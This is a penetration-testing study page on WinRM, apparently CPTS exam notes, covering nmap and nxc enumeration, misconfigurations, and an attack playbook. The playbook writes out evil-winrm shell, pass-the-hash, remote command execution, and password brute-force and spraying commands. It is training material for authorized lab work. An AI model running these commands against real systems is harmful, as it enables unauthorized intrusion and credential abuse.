WinRM
CPTS Notes2 min read
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
TL;DR
WinRM (Windows Remote Management). Remote PowerShell over SOAP on TCP 5985 (HTTP) and 5986 (HTTPS). The account must be a local admin or a member of the Remote Management Users group. It is the go-to shell once you hold a Windows credential.
First checks: 5985 or 5986 open, then valid credentials or a hash.
Enumeration
Sweep and check.
nmap -p5985,5986 -sV -oA scans/winrm $TARGET # WinRM ports and versionsnxc winrm $TARGET -u <user> -p <pass> # check one credentialnxc winrm $TARGET -u users.txt -p passwords.txt # a file each brutes a listnxc winrm marks (Pwn3d!) when the account can get a shell.
Common misconfigurations
- A non-admin account placed in the Remote Management Users group.
- Reused Windows or domain credentials.
- HTTP (5985) without TLS, so credentials are sniffable.
Attack playbook
WinRM turns a credential into a shell.
- Get a shell.
evil-winrmis the standard WinRM shell. Itsuploadanddownloadare in Session Transfers.evil-winrm -i $TARGET -u <user> -p '<pass>' # shell with a password - Pass the hash.
-Htakes the NT hash alone.evil-winrm -i $TARGET -u <user> -H <nthash> # pass the hash - Run one command.
nxc winrm $TARGET -u <user> -p <pass> -x 'whoami' # run one command
- Use TLS. Add
-Stoevil-winrmfor port 5986. - Brute or spray. Last resort. WinRM has no hydra module, so brute with
nxcor Metasploitwinrm_login. Spray one password across users and read the lockout policy first. See Spraying and Defaults.nxc winrm $TARGET -u users.txt -p 'Welcome1' --continue-on-success # spray one password, keep going after a hit
Practice boxes
| Box | Difficulty | WinRM’s role |
|---|---|---|
| Blackfield | Hard | An Active Directory chain ends in an evil-winrm shell with the recovered account. |
WinRM is the shell after you own a Windows credential or hash. Check for
(Pwn3d!)withnxcfirst.